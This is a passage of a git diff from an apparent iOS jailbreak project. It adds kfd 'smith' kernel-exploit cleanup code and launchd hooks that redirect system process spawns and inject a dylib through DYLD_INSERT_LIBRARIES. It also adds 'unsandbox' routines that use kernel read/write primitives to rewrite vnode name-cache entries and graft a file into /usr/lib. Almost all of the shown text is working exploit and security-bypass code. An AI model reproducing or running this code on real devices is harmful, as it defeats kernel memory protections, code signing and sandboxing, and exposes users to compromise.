0; + u64 first_vme_parent_store = 0; + u64 second_vme_kaddr = 0; + u64 second_vme_left_store = 0; + u64 vme_end0_kaddr = 0; + u64 vme_end0_start = 0; + u64 leaked_entry_right_store = 0; + u64 leaked_entry_parent_store = 0; + u64 leaked_entry_prev = 0; + u64 leaked_entry_next = 0; + u64 leaked_entry_end = 0; + + while (entry_kaddr != map_entry_kaddr) { + entry_count++; + u64 entry_next = static_kget(struct vm_map_entry, links.next, entry_kaddr); + u64 entry_start = static_kget(struct vm_map_entry, links.start, entry_kaddr); + u64 entry_end = static_kget(struct vm_map_entry, links.end, entry_kaddr); + + if (entry_count == 1) { + first_vme_kaddr = entry_kaddr; + first_vme_parent_store = static_kget(struct vm_map_entry, store.entry.rbe_parent, entry_kaddr); + u64 first_vme_left_store = static_kget(struct vm_map_entry, store.entry.rbe_left, entry_kaddr); + u64 first_vme_right_store = static_kget(struct vm_map_entry, store.entry.rbe_right, entry_kaddr); + assert(first_vme_left_store == 0); + assert(first_vme_right_store == 0); + } else if (entry_count == 2) { + second_vme_kaddr = entry_kaddr; + second_vme_left_store = static_kget(struct vm_map_entry, store.entry.rbe_left, entry_kaddr); + } else if (entry_end == 0) { + vme_end0_kaddr = entry_kaddr; + vme_end0_start = entry_start; + assert(vme_end0_start == smith->vme[1].address); + } else if (entry_start == 0) { + assert(entry_kaddr == vme_for_store(first_vme_parent_store)); + assert(entry_kaddr == vme_for_store(second_vme_left_store)); + u64 leaked_entry_left_store = static_kget(struct vm_map_entry, store.entry.rbe_left, entry_kaddr); + leaked_entry_right_store = static_kget(struct vm_map_entry, store.entry.rbe_right, entry_kaddr); + leaked_entry_parent_store = static_kget(struct vm_map_entry, store.entry.rbe_parent, entry_kaddr); + assert(leaked_entry_left_store == 0); + assert(vme_for_store(leaked_entry_right_store) == first_vme_kaddr); + assert(vme_for_store(leaked_entry_parent_store) == second_vme_kaddr); + leaked_entry_prev = static_kget(struct vm_map_entry, links.prev, entry_kaddr); + leaked_entry_next = entry_next; + leaked_entry_end = entry_end; + assert(leaked_entry_end == smith->vme[3].address); + } + + entry_kaddr = entry_next; + } + + /* + * Patch the doubly-linked list. + * + * We leak "vme2b" from the doubly-linked list, as explained in the write-up. + */ + static_kset(struct vm_map_entry, links.next, leaked_entry_next, leaked_entry_prev); + static_kset(struct vm_map_entry, links.prev, leaked_entry_prev, leaked_entry_next); + + /* + * Patch "vme2->vme_end". + * + * The kwrite() call is just a workaround if the kwrite primitive cannot + * overwrite 0. Otherwise, the first 4 lines can be omitted. + */ + u64 vme_end0_start_and_next[2] = { vme_end0_start, (-1) }; + u64 unaligned_kaddr = vme_end0_kaddr + offsetof(struct vm_map_entry, links.start) + 1; + u64 unaligned_uaddr = (u64)(&vme_end0_start_and_next) + 1; + kwrite((u64)(kfd), (void*)(unaligned_uaddr), unaligned_kaddr, sizeof(u64)); + static_kset(struct vm_map_entry, links.end, leaked_entry_end, vme_end0_kaddr); + + /* + * Patch the red-black tree. + * + * We leak "vme2b" from the red-black tree, as explained in the write-up. + */ + static_kset(struct vm_map_entry, store.entry.rbe_parent, leaked_entry_parent_store, vme_for_store(leaked_entry_right_store)); + static_kset(struct vm_map_entry, store.entry.rbe_left, leaked_entry_right_store, vme_for_store(leaked_entry_parent_store)); + + /* + * Patch map->hdr.nentries. + * + * I believe this is not strictly necessary to prevent a kernel panic + * when the process exits, but I like to patch it just in case. + */ + u64 nentries_buffer = static_kget(struct _vm_map, hdr.nentries, map_kaddr); + i32 old_nentries = *(i32*)(&nentries_buffer); + *(i32*)(&nentries_buffer) = (old_nentries - 1); + static_kset(struct _vm_map, hdr.nentries, nentries_buffer, map_kaddr); + + /* + * Patch map->hint. + * + * We set map->hint to point to vm_map_to_entry(map), which effectively + * means there is no valid hint. + */ + static_kset(struct _vm_map, hint, map_entry_kaddr, map_kaddr); + } while (0); + + do { + /* + * Scan hole list: we use the kread primitive to loop through every hole + * entry in our VM map's hole list, and record the information that we + * need to patch things up below. Once again, there are some assertions + * along the way to make sure the state is corrupted as expected. + */ + u64 hole_count = 0; + u64 hole_kaddr = static_kget(struct _vm_map, f_s._holes, map_kaddr); + u64 first_hole_kaddr = hole_kaddr; + u64 prev_hole_end = 0; + u64 first_leaked_hole_prev = 0; + u64 first_leaked_hole_next = 0; + u64 first_leaked_hole_end = 0; + u64 second_leaked_hole_prev = 0; + u64 second_leaked_hole_next = 0; + + while (true) { + hole_count++; + u64 hole_next = static_kget(struct vm_map_entry, links.next, hole_kaddr); + u64 hole_start = static_kget(struct vm_map_entry, links.start, hole_kaddr); + u64 hole_end = static_kget(struct vm_map_entry, links.end, hole_kaddr); + + if (hole_start == 0) { + first_leaked_hole_prev = static_kget(struct vm_map_entry, links.prev, hole_kaddr); + first_leaked_hole_next = hole_next; + first_leaked_hole_end = hole_end; + assert(prev_hole_end == smith->vme[1].address); + } else if (hole_start == smith->vme[1].address) { + second_leaked_hole_prev = static_kget(struct vm_map_entry, links.prev, hole_kaddr); + second_leaked_hole_next = hole_next; + assert(hole_end == smith->vme[2].address); + } + + hole_kaddr = hole_next; + prev_hole_end = hole_end; + if (hole_kaddr == first_hole_kaddr) { + break; + } + } + + /* + * Patch the hole entries. + * + * We patch the end address of the first hole and we leak the two extra + * holes, as explained in the write-up. + */ + static_kset(struct vm_map_entry, links.end, first_leaked_hole_end, first_leaked_hole_prev); + static_kset(struct vm_map_entry, links.next, first_leaked_hole_next, first_leaked_hole_prev); + static_kset(struct vm_map_entry, links.prev, first_leaked_hole_prev, first_leaked_hole_next); + static_kset(struct vm_map_entry, links.next, second_leaked_hole_next, second_leaked_hole_prev); + static_kset(struct vm_map_entry, links.prev, second_leaked_hole_prev, second_leaked_hole_next); + + /* + * Patch map->hole_hint. + * + * We set map->hole_hint to point to the first hole, which is guaranteed + * to not be one of the two holes that we just leaked. + */ + static_kset(struct _vm_map, vmmap_u_1.vmmap_hole_hint, first_hole_kaddr, map_kaddr); + } while (0); + + if (take_vm_map_lock) { + /* + * Restore the entry to have its right child point to its original value. + */ + u64 entry_kaddr = atomic_load(&smith->cleanup_vme.kaddr); + u64 entry_right = atomic_load(&smith->cleanup_vme.right); + static_kset(struct vm_map_entry, store.entry.rbe_right, entry_right, entry_kaddr); + assert_bsd(pthread_join(smith->cleanup_vme.pthread, NULL)); + } +} + +#endif /* smith_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/main.m b/RootHelperSample/launchdshim/launchdhook/main.m index 774fc860..991015eb 100644 --- a/RootHelperSample/launchdshim/launchdhook/main.m +++ b/RootHelperSample/launchdshim/launchdhook/main.m @@ -10,9 +10,19 @@ #include #include #include - #include #include +#include "crashreporter.h" +#include "xpc_hook.h" +#import "jbserver/exec_patch.h" +#include "fun/krw.h" +#include "jbserver/info.h" + +char HOOK_DYLIB_PATH[PATH_MAX] = {0}; + +bool gInEarlyBoot = true; +void abort_with_reason(uint32_t reason_namespace, uint64_t reason_code, const char *reason_string, uint64_t reason_flags); + #define PT_DETACH 11 /* stop tracing a process */ #define PT_ATTACHEXC 14 /* attach to running process with signal exception */ @@ -35,7 +45,6 @@ int (*memorystatus_control_orig)(uint32_t command, int32_t pid, uint32_t flags, void *buffer, size_t buffersize); bool (*xpc_dictionary_get_bool_orig)(xpc_object_t dictionary, const char *key); - int hooked_csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize) { int result = orig_csops(pid, ops, useraddr, usersize); if (result != 0) return result; @@ -58,7 +67,6 @@ void change_launchtype(const posix_spawnattr_t *attrp, const char *restrict path const char *prefixes[] = { "/private/preboot", jbroot(@"/").UTF8String, -// "/Applications/MediaRemoteUI.app/" }; if (__builtin_available(macOS 13.0, iOS 16.0, tvOS 16.0, watchOS 9.0, *)) { @@ -79,51 +87,118 @@ void change_launchtype(const posix_spawnattr_t *attrp, const char *restrict path } } +#define JB_ROOT_PREFIX ".jbroot-" +#define JB_RAND_LENGTH (sizeof(uint64_t)*sizeof(char)*2) +int is_jbrand_value(uint64_t value) +{ + uint8_t check = value>>8 ^ value >> 16 ^ value>>24 ^ value>>32 ^ value>>40 ^ value>>48 ^ value>>56; + return check == (uint8_t)value; +} + +int is_jbroot_name(const char* name) +{ + if(strlen(name) != (sizeof(JB_ROOT_PREFIX)-1+JB_RAND_LENGTH)) + return 0; + + if(strncmp(name, JB_ROOT_PREFIX, sizeof(JB_ROOT_PREFIX)-1) != 0) + return 0; + + char* endp=NULL; + uint64_t value = strtoull(name+sizeof(JB_ROOT_PREFIX)-1, &endp, 16); + if(!endp || *endp!='\0') + return 0; + + if(!is_jbrand_value(value)) + return 0; + + return 1; +} + +NSString* find_jbroot() +{ + //jbroot path may change when re-randomize it + NSString * jbroot = nil; + NSArray *subItems = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:@"/var/containers/Bundle/Application/" error:nil]; + for (NSString *subItem in subItems) { + if (is_jbroot_name(subItem.UTF8String)) + { + NSString* path = [@"/var/containers/Bundle/Application/" stringByAppendingPathComponent:subItem]; + jbroot = path; + break; + } + } + return jbroot; +} int hooked_posix_spawn(pid_t *pid, const char *path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char *argv[], char *const envp[]) { change_launchtype(attrp, path); return orig_posix_spawn(pid, path, file_actions, attrp, argv, envp); } +//const char *installd = "/usr/libexec/installd"; +//const char *nfcd = "/usr/libexec/nfcd"; +//const char *springboard = "/System/Library/CoreServices/SpringBoard.app/SpringBoard"; +//const char *mrui = "/Applications/MediaRemoteUI.app/MediaRemoteUI"; +//const char *xpcproxy = "/usr/libexec/xpcproxy"; +#define INSTALLD_PATH "/usr/libexec/installd" +#define NFCD_PATH "/usr/libexec/nfcd" +#define SPRINGBOARD_PATH "/System/Library/CoreServices/SpringBoard.app/SpringBoard" +#define MRUI_PATH "/Applications/MediaRemoteUI.app/MediaRemoteUI" +#define XPCPROXY_PATH "/usr/libexec/xpcproxy" +#define MEDIASERVERD_PATH "/usr/sbin/mediaserverd" + +void log_path(char* path, char* jbroot_path) { + FILE *file = fopen("/var/mobile/launchd.log", "a"); + char output[256]; + sprintf(output, "[launchd] changing path %s to %s\n", path, jbroot_path); + fputs(output, file); + fclose(file); +} + int hooked_posix_spawnp(pid_t *restrict pid, const char *restrict path, const posix_spawn_file_actions_t *restrict file_actions, posix_spawnattr_t *attrp, char *argv[restrict], char *const envp[restrict]) { change_launchtype(attrp, path); - const char *springboardPath = "/System/Library/CoreServices/SpringBoard.app/SpringBoard"; - const char *coolerSpringboard = jbroot("/System/Library/CoreServices/SpringBoard.app/SpringBoard"); - const char *mruiPath = "/Applications/MediaRemoteUI.app/MediaRemoteUI"; - const char *coolerMrui = jbroot("/Applications/MediaRemoteUI.app/MediaRemoteUI"); - const char *xpcproxyPath = "/usr/libexec/xpcproxy"; - const char *coolerXpcProxyPath = jbroot("/usr/libexec/xpcproxy"); - if (!strncmp(path, springboardPath, strlen(springboardPath))) { -// FILE *file = fopen("/var/mobile/launchd.log", "a"); -// char output[512]; -// sprintf(output, "[launchd] changing path %s to %s\n", path, coolerSpringboard); -// fputs(output, file); - path = coolerSpringboard; -// fclose(file); + if (!strncmp(path, SPRINGBOARD_PATH, strlen(SPRINGBOARD_PATH))) { + // log_path(path, jbroot(SPRINGBOARD_PATH)); + path = jbroot(SPRINGBOARD_PATH); argv[0] = (char *)path; posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp); - } else if (!strncmp(path, mruiPath, strlen(mruiPath))) { - // FILE *file = fopen("/var/mobile/launchd.log", "a"); - // char output[512]; - // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui); - // fputs(output, file); - path = coolerMrui; - // fclose(file); + } else if (!strncmp(path, MRUI_PATH, strlen(MRUI_PATH))) { + // log_path(path, jbroot(MRUI_PATH)); + path = jbroot(MRUI_PATH); argv[0] = (char *)path; posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); - return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp); - } else if (!strncmp(path, xpcproxyPath, strlen(xpcproxyPath))) { - // FILE *file = fopen("/var/mobile/launchd.log", "a"); - // char output[512]; - // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui); - // fputs(output, file); - path = coolerXpcProxyPath; - // fclose(file); + } else if (!strncmp(path, XPCPROXY_PATH, strlen(XPCPROXY_PATH))) { + // path = jbroot(XPCPROXY_PATH); argv[0] = (char *)path; posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); - return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp); } +// } else if (!strncmp(path, MEDIASERVERD_PATH, strlen(MEDIASERVERD_PATH))) { +// log_path(path, jbroot(MEDIASERVERD_PATH)); +// path = jbroot(MEDIASERVERD_PATH); +// argv[0] = (char *)path; +// posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); +// } + // } else if (!strncmp(path, installd, strlen(installd))) { + // FILE *file = fopen("/var/mobile/launchd.log", "a"); + // char output[512]; + // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui); + // fputs(output, file); + // path = jbroot(installd); + // fclose(file); + // argv[0] = (char *)path; + // posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); + //// return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp); + // } else if (!strncmp(path, nfcd, strlen(nfcd))) { + // FILE *file = fopen("/var/mobile/launchd.log", "a"); + // char output[512]; + // sprintf(output, "[launchd] changing path %s to %s\n", path, coolerMrui); + // fputs(output, file); + // path = jbroot(nfcd); + // fclose(file); + // argv[0] = (char *)path; + // posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); + //// return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp); return orig_posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp); } @@ -139,10 +214,10 @@ xpc_object_t hook_xpc_dictionary_get_value(xpc_object_t dict, const char *key) { if (strcmp(key, "Paths") == 0) { const char *paths[] = { - "/var/jb/Library/LaunchDaemons", - "/var/jb/System/Library/LaunchDaemons", - "/var/jb/Library/LaunchAgents", - "/var/jb/System/Library/LaunchAgents" + jbroot("/Library/LaunchDaemons"), + jbroot("/System/Library/LaunchDaemons"), + jbroot("/Library/LaunchAgents"), + jbroot("/System/Library/LaunchAgents"), }; for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); ++i) { @@ -164,38 +239,35 @@ int memorystatus_control_hook(uint32_t command, int32_t pid, uint32_t flags, voi void initVerboseFramebuffer(void); int bootscreend_main(); __attribute__((constructor)) static void init(int argc, char **argv) { -// FILE *file; -// file = fopen("/var/mobile/launchd.log", "w"); -// char output[1024]; -// sprintf(output, "[launchd] launchdhook pid %d", getpid()); -// printf("[launchd] launchdhook pid %d", getpid()); -// fputs(output, file); -// fclose(file); -// sync(); - - bool verboseBoot = false; - NSString *verboseBootPath = @"/var/mobile/.serotonin_verbose"; - - if ([NSFileManager.defaultManager fileExistsAtPath:verboseBootPath]) { - verboseBoot = true; + crashreporter_start(); + // initVerboseFramebuffer(); + if(gSystemInfo.jailbreakInfo.rootPath) free(gSystemInfo.jailbreakInfo.rootPath); + + NSString* jbroot_path = find_jbroot(); + if(jbroot_path) { + gSystemInfo.jailbreakInfo.rootPath = strdup(jbroot_path.fileSystemRepresentation); + gSystemInfo.jailbreakInfo.jbrand = jbrand(); } + initXPCHooks(); + setenv("DYLD_INSERT_LIBRARIES", jbroot("/launchdhook.dylib"), 1); + setenv("SEROTONIN_INITIALIZED", "1", 1); + // Set an identifier that uniquely identifies this userspace boot + // Part of rootless v2 spec + setenv("LAUNCHD_UUID", [NSUUID UUID].UUIDString.UTF8String, 1); - if (verboseBoot) { - initVerboseFramebuffer(); - } else { - bootscreend_main(); - } -// initVerboseFramebuffer(); -// bootscreend_main(); + // bool verboseBoot = false; + // NSString *verboseBootPath = @"/var/mobile/.serotonin_verbose"; -// printf("[launchd] launchdhook pid %d", getpid()); -// if (getpid() == 1) { -// printf("============\n"); -// printf("== WE ARE ==\n"); -// printf("== PID1 ==\n"); -// printf("============\n\n"); -// printf("Also, my parent is %d\n", getppid()); -// } + // if ([NSFileManager.defaultManager fileExistsAtPath:verboseBootPath]) { + // verboseBoot = true; + // } + + // if (verboseBoot) { + // initVerboseFramebuffer(); + // } else { + // bootscreend_main(); + // } +// bootscreend_main(); struct rebinding rebindings[] = (struct rebinding[]){ {"csops", hooked_csops, (void *)&orig_csops}, {"csops_audittoken", hooked_csops_audittoken, (void *)&orig_csops_audittoken}, @@ -205,4 +277,42 @@ int memorystatus_control_hook(uint32_t command, int32_t pid, uint32_t flags, voi {"memorystatus_control", memorystatus_control_hook, (void *)&memorystatus_control_orig}, }; rebind_symbols(rebindings, sizeof(rebindings)/sizeof(struct rebinding)); + bool firstLoad = false; + if (getenv("SEROTONIN_INITIALIZED") != 0) { + // If Dopamine was initialized before, we assume we're coming from a userspace reboot + + // Stock bug: These prefs wipe themselves after a reboot (they contain a boot time and this is matched when they're loaded) + // But on userspace reboots, they apparently do not get wiped as boot time doesn't change + // We could try to change the boot time ourselves, but I'm worried of potential side effects + // So we just wipe the offending preferences ourselves + // In practice this fixes nano launch daemons not being loaded after the userspace reboot, resulting in certain apple watch features breaking + if (!access("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRRootCommander.volatile.plist", W_OK)) { + remove("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRRootCommander.volatile.plist"); + } + if (!access("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRLaunchNotificationController.volatile.plist", W_OK)) { + remove("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRLaunchNotificationController.volatile.plist"); + } + } + else { + // first userspace reboot, not on the fly injection + firstLoad = true; + } + FILE *file = fopen("/var/mobile/launchd.log", "a"); + char output[256]; + sprintf(output, "[launchd] gambling with kfd\n"); + fputs(output, file); + fclose(file); + sleep(10); + do_kopen(2048, 2, 1, 1, 500, true); + if(!firstLoad) + { + NSString* systemhookFilePath = [NSString stringWithFormat:@"%@/generalhooksigned.dylib", jbroot("/")]; + + int unsandbox(const char* dir, const char* file); + unsandbox("/usr/lib", systemhookFilePath.fileSystemRepresentation); + + //new "real path" + snprintf(HOOK_DYLIB_PATH, sizeof(HOOK_DYLIB_PATH), "/usr/lib/generalhooksigned.dylib"); + } + do_kclose(); } diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox.h b/RootHelperSample/launchdshim/launchdhook/unsandbox.h new file mode 100644 index 00000000..54b8cb2d --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/unsandbox.h @@ -0,0 +1,106 @@ + + +#define XNU_PTRAUTH_SIGNED_PTR(x) + +typedef struct { + union { + uint64_t lck_mtx_data; + uint64_t lck_mtx_tag; + }; + union { + struct { + uint16_t lck_mtx_waiters; + uint8_t lck_mtx_pri; + uint8_t lck_mtx_type; + }; + struct { + struct _lck_mtx_ext_ *lck_mtx_ptr; + }; + }; +} lck_mtx_t; + +LIST_HEAD(buflists, buf); +typedef struct vnode* vnode_t; +typedef uint32_t kauth_action_t; +typedef struct vnode_resolve* vnode_resolve_t; +struct vnode { + lck_mtx_t v_lock; /* vnode mutex */ + TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */ + TAILQ_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */ + TAILQ_HEAD(, namecache) v_ncchildren; /* name cache entries that regard us as their parent */ + LIST_HEAD(, namecache) v_nclinks; /* name cache entries that name this vnode */ + vnode_t v_defer_reclaimlist; /* in case we have to defer the reclaim to avoid recursion */ + uint32_t v_listflag; /* flags protected by the vnode_list_lock (see below) */ + uint32_t v_flag; /* vnode flags (see below) */ + uint16_t v_lflag; /* vnode local and named ref flags */ + uint8_t v_iterblkflags; /* buf iterator flags */ + uint8_t v_references; /* number of times io_count has been granted */ + int32_t v_kusecount; /* count of in-kernel refs */ + int32_t v_usecount; /* reference count of users */ + int32_t v_iocount; /* iocounters */ + void * XNU_PTRAUTH_SIGNED_PTR("vnode.v_owner") v_owner; /* act that owns the vnode */ + uint16_t v_type; /* vnode type */ + uint16_t v_tag; /* type of underlying data */ + uint32_t v_id; /* identity of vnode contents */ + union { + struct mount * XNU_PTRAUTH_SIGNED_PTR("vnode.v_data") vu_mountedhere; /* ptr to mounted vfs (VDIR) */ + struct socket * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_socket") vu_socket; /* unix ipc (VSOCK) */ + struct specinfo * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_specinfo") vu_specinfo; /* device (VCHR, VBLK) */ + struct fifoinfo * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_fifoinfo") vu_fifoinfo; /* fifo (VFIFO) */ + struct ubc_info * XNU_PTRAUTH_SIGNED_PTR("vnode.vu_ubcinfo") vu_ubcinfo; /* valid for (VREG) */ + } v_un; + struct buflists v_cleanblkhd; /* clean blocklist head */ + struct buflists v_dirtyblkhd; /* dirty blocklist head */ + struct klist v_knotes; /* knotes attached to this vnode */ + /* + * the following 4 fields are protected + * by the name_cache_lock held in + * excluive mode + */ + kauth_cred_t XNU_PTRAUTH_SIGNED_PTR("vnode.v_cred") v_cred; /* last authorized credential */ + kauth_action_t v_authorized_actions; /* current authorized actions for v_cred */ + int v_cred_timestamp; /* determine if entry is stale for MNTK_AUTH_OPAQUE */ + int v_nc_generation; /* changes when nodes are removed from the name cache */ + /* + * back to the vnode lock for protection + */ + int32_t v_numoutput; /* num of writes in progress */ + int32_t v_writecount; /* reference count of writers */ + uint32_t v_holdcount; /* reference to keep vnode from being freed after reclaim */ + const char *v_name; /* name component of the vnode */ + vnode_t XNU_PTRAUTH_SIGNED_PTR("vnode.v_parent") v_parent; /* pointer to parent vnode */ + struct lockf *v_lockf; /* advisory lock list head */ + int(**v_op)(void *); /* vnode operations vector */ + mount_t XNU_PTRAUTH_SIGNED_PTR("vnode.v_mount") v_mount; /* ptr to vfs we are in */ + void * v_data; /* private data for fs */ +//#if CONFIG_MACF + struct label *v_label; /* MAC security label */ +//#endif +//#if CONFIG_TRIGGERS + vnode_resolve_t v_resolve; /* trigger vnode resolve info (VDIR only) */ +//#endif /* CONFIG_TRIGGERS */ +#if CONFIG_FIRMLINKS + vnode_t v_fmlink; /* firmlink if set (VDIR only), Points to source + * if VFLINKTARGET is set, if VFLINKTARGET is not + * set, points to target */ +#endif /* CONFIG_FIRMLINKS */ +#if CONFIG_IO_COMPRESSION_STATS + io_compression_stats_t io_compression_stats; /* IO compression statistics */ +#endif /* CONFIG_IO_COMPRESSION_STATS */ + +#if CONFIG_IOCOUNT_TRACE + vnode_iocount_trace_t v_iocount_trace; +#endif /* CONFIG_IOCOUNT_TRACE */ + + uint64_t unknown; +}; + +int unsandbox1(const char* dir, const char* file); +int unsandbox2(const char* dir, const char* file); + +void init_crc32(void); +unsigned int hash_string(const char *cp, int len); + +uint64_t proc_fd_file_glob(uint64_t proc_ptr, int fd); +uint64_t proc_fd_vnode(uint64_t proc_ptr, int fd); + diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox.m b/RootHelperSample/launchdshim/launchdhook/unsandbox.m new file mode 100644 index 00000000..2822c72c --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/unsandbox.m @@ -0,0 +1,102 @@ +#pragma clang diagnostic push +#pragma ide diagnostic ignored "bugprone-reserved-identifier" + +#include +#include +#include +#include +#include +#include +#include +#include + +#import +// #import "libjailbreak.h" +#import "jbserver/kernel.h" +// #import "jbserver/primitives.h" +#import "fun/krw.h" +#import "unsandbox.h" +#import "jbserver/util.h" +// #import "log.h" + +uint64_t proc_fd_file_glob(uint64_t proc_ptr, int fd) +{ + uint64_t proc_fd = proc_ptr + koffsetof(proc, fd); + uint64_t ofiles_start = kread_ptr(proc_fd + koffsetof(filedesc, ofiles_start)); + if (!ofiles_start) return 0; + uint64_t file_proc_ptr = kread_ptr(ofiles_start + (fd * 8)); + if (!file_proc_ptr) return 0; + return kread_ptr(file_proc_ptr + koffsetof(fileproc, fileglob)); +} + +uint64_t proc_fd_vnode(uint64_t proc_ptr, int fd) +{ + uint64_t file_glob_ptr = proc_fd_file_glob(proc_ptr, fd); + if (!file_glob_ptr) return 0; + return kread_ptr(file_glob_ptr + koffsetof(fileglob, vnode)); +} + + +static unsigned int crc32tab[256]; + +void init_crc32(void) +{ + /* + * the CRC-32 generator polynomial is: + * x^32 + x^26 + x^23 + x^22 + x^16 + x^12 + x^10 + * + x^8 + x^7 + x^5 + x^4 + x^2 + x + 1 + */ + unsigned int crc32_polynomial = 0x04c11db7; + unsigned int i, j; + + /* + * pre-calculate the CRC-32 remainder for each possible octet encoding + */ + for (i = 0; i < 256; i++) { + unsigned int crc_rem = i << 24; + + for (j = 0; j < 8; j++) { + if (crc_rem & 0x80000000) { + crc_rem = (crc_rem << 1) ^ crc32_polynomial; + } else { + crc_rem = (crc_rem << 1); + } + } + crc32tab[i] = crc_rem; + } +} + +unsigned int hash_string(const char *cp, int len) +{ + unsigned hash = 0; + + if (len) { + while (len--) { + hash = crc32tab[((hash >> 24) ^ (unsigned char)*cp++)] ^ hash << 8; + } + } else { + while (*cp != '\0') { + hash = crc32tab[((hash >> 24) ^ (unsigned char)*cp++)] ^ hash << 8; + } + } + /* + * the crc generator can legitimately generate + * a 0... however, 0 for us means that we + * haven't computed a hash, so use 1 instead + */ + if (hash == 0) { + hash = 1; + } + return hash; +} + +int unsandbox(const char* dir, const char* file) +{ + if (@available(iOS 16.4, *)) { + return unsandbox2(dir, file); + } else { + return unsandbox1(dir, file); + } +} + +#pragma clang diagnostic pop \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox1.m b/RootHelperSample/launchdshim/launchdhook/unsandbox1.m new file mode 100644 index 00000000..6088563d --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/unsandbox1.m @@ -0,0 +1,234 @@ + +#include +#include +#include +#include +#include +#include +#include +#include + +#import +// #import "libjailbreak.h" +#import "unsandbox.h" +#import "jbserver/kernel.h" +// #import "jbserver/primitives.h" +#import "fun/krw.h" +#import "jbserver/log.h" +#import "jbserver/util.h" + + +struct namecache_v1 { + TAILQ_ENTRY(namecache_v1) nc_entry; /* chain of all entries */ + TAILQ_ENTRY(namecache_v1) nc_child; /* chain of ncp's that are children of a vp */ + union { + LIST_ENTRY(namecache_v1) nc_link; /* chain of ncp's that 'name' a vp */ + TAILQ_ENTRY(namecache_v1) nc_negentry; /* chain of ncp's that 'name' a vp */ + } nc_un; + LIST_ENTRY(namecache_v1) nc_hash; /* hash chain */ + vnode_t nc_dvp; /* vnode of parent of name */ + vnode_t nc_vp; /* vnode the name refers to */ + unsigned int nc_hashval; /* hashval of stringname */ + const char *nc_name; /* pointer to segment name in string cache */ +}; + +#define namecache namecache_v1 + +static void print_nc(uint64_t ncp) +{ + while(ncp) { + + struct namecache nc={0}; + kreadbuf(ncp, &nc, sizeof(nc)); + + char namebuf[128]={0}; + for(int i=0; i%llx\n", + filefd, filevp,filevnode.v_usecount, filevnode.v_id, filevnode.v_parent, parentvnode.v_usecount, dirvp, dirvnode.v_id, dirvnode.v_ncchildren.tqh_first, dirvnode.v_ncchildren.tqh_last, + dirvnode.v_ncchildren.tqh_last?kread64((uint64_t)dirvnode.v_ncchildren.tqh_last):0); + + // char parentname[32]={0}; + // kreadbuf((uint64_t)parentvnode.v_name, parentname, sizeof(parentname)); + // JBLogDebug("parentname=%s\n", parentname); + + + struct namecache filenc={0}; + uint64_t filencp = (uint64_t)filevnode.v_nclinks.lh_first; + kreadbuf(filencp, &filenc, sizeof(filenc)); + JBLogDebug("filenc=%llx vp=%llx dvp=%llx\n", filencp, filenc.nc_vp, filenc.nc_dvp); + +{ + uint64_t ncp=(uint64_t)dirvnode.v_ncchildren.tqh_first; + while(ncp) { + + struct namecache nc={0}; + kreadbuf(ncp, &nc, sizeof(nc)); + + char namebuf[128]={0}; + for(int i=0; ifield.le_prev =(elm)->field.le_prev; + kwrite64((uint64_t)filenc.nc_hash.le_next+offsetof(struct namecache, nc_hash.le_prev), (uint64_t)filenc.nc_hash.le_prev); //next->prev = prev + } + + //*(elm)->field.le_prev = LIST_NEXT((elm), field); + kwrite64((uint64_t)filenc.nc_hash.le_prev, (uint64_t)filenc.nc_hash.le_next); + } + //LIST_INSERT_HEAD(ncpp, ncp, nc_hash): + { + uint64_t ncp = filencp; + + uint64_t first = kread64(ncpp); + kwrite64(ncp+offsetof(struct namecache, nc_hash.le_next), first); + if(first) { //if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL) + //LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field); + kwrite64(first+offsetof(struct namecache, nc_hash.le_prev), ncp+offsetof(struct namecache, nc_hash.le_next) ); + } + kwrite64(ncpp, ncp); //LIST_FIRST((head)) = (elm); + kwrite64(ncp+offsetof(struct namecache, nc_hash.le_prev), ncpp); //(elm)->field.le_prev = &LIST_FIRST((head)); + } + + //TAILQ_REMOVE(&(ncp->nc_dvp->v_ncchildren), ncp, nc_child); + { + uint64_t ncp = filencp; + if(filenc.nc_child.tqe_next) { //always true for filenc next time + //TAILQ_NEXT((elm), field)->field.tqe_prev = (elm)->field.tqe_prev; + kwrite64((uint64_t)filenc.nc_child.tqe_next+offsetof(struct namecache, nc_child.tqe_prev), (uint64_t)filenc.nc_child.tqe_prev); + } else { + //(head)->tqh_last = (elm)->field.tqe_prev; + kwrite64(parentvp+offsetof(struct vnode,v_ncchildren.tqh_last), (uint64_t)filenc.nc_child.tqe_prev); + } + 